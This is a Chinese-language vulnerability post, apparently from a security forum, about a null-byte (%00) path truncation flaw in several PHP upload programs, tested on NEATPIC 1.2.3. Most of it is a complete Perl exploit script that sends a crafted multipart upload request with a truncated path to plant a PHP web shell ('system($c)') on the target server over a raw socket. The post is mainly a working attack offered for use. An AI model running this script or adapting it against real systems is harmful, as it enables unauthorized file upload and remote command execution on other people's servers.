多种PHP程序存在\0过滤不严漏洞

cnangel

多种PHP程序存在\0过滤不严漏洞
来源：不详
危害：直接上传任意文件
漏洞描述：
当PHP程序有指定PATH时，在PATH文件后门加入%00可以上传任意文件.
测试程序：NEATPIC PHP目录直读版 1.2.3
此文档参与者：
漏洞实验者：Xiaolu,Lilo,SuperHei,Darkness [All BST Members]
Http://Www.Bugkidz.org
Xiaolu提供了一个漏洞利用程序：

1. #!/usr/bin/perl
2. $| = 1;
3. use Socket;
4. $host = "127.0.0.1";
5. $port = "80";
6. $UploadTo = "";
7. $str =
8. "-----------------------------7d41f4a600472\r\n".
9. "Content-Disposition: form-data; name=\"path\"\r\n".
10. "\r\n".
11. "www.ppp%00\r\n".
12. "-----------------------------7d41f4a600472\r\n".
13. "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
14. "Content-Type: text/plain\r\n".
15. "\r\n".
16. "<?php\r\n".
17. "system(&#36;c);\r\n".
18. "?>\r\n".
19. "-----------------------------7d41f4a600472--\r\n".
20. "\r\n";
21. print &#36;str;
22. &#36;len=length(&#36;str);
23. print &#36;len;
24. &#36;req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".
25. "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
26. "Referer: http://127.0.0.1/index.php?path=.\r\n".
27. "Accept-Language: zh-cn\r\n".
28. "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
29. "Accept-Encoding: gzip, deflate\r\n".
30. "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
31. "Host: 127.0.0.1\r\n".
32. "Content-Length: &#36;len\r\n".
33. "Connection: Keep-Alive\r\n".
34. "Cache-Control: no-cache\r\n".
35. "Cookie: PHPSESSID=111111111111111111111111\r\n".
36. "\r\n".
37. "&#36;str\r\n\r\n";
38. print &#36;req;
39. @res = sendraw(&#36;req);
40. print @res;
41. &#35;Hmm...Maybe you can send it by other way
43. sub sendraw {
44.     my (&#36;req) = @_;
45.     my &#36;target;
46.     &#36;target = inet_aton(&#36;host) || die("inet_aton problems\n");
47.     socket(S,PF_INET,SOCK_STREAM,getprotobyname(';tcp';)||0) || die("Socket problems\n");
48.     if(connect(S,pack "SnA4x8",2,&#36;port,&#36;target)){
49.         select(S);
50.     &#36;| = 1;
51.         print &#36;req;
52.     my @res = <S>;
53.         select(STDOUT);
54.     close(S);
55.         return @res;
56.     }
57.     else {
58.     die("Can';t connect...\n");
59.     }
60. }

复制代码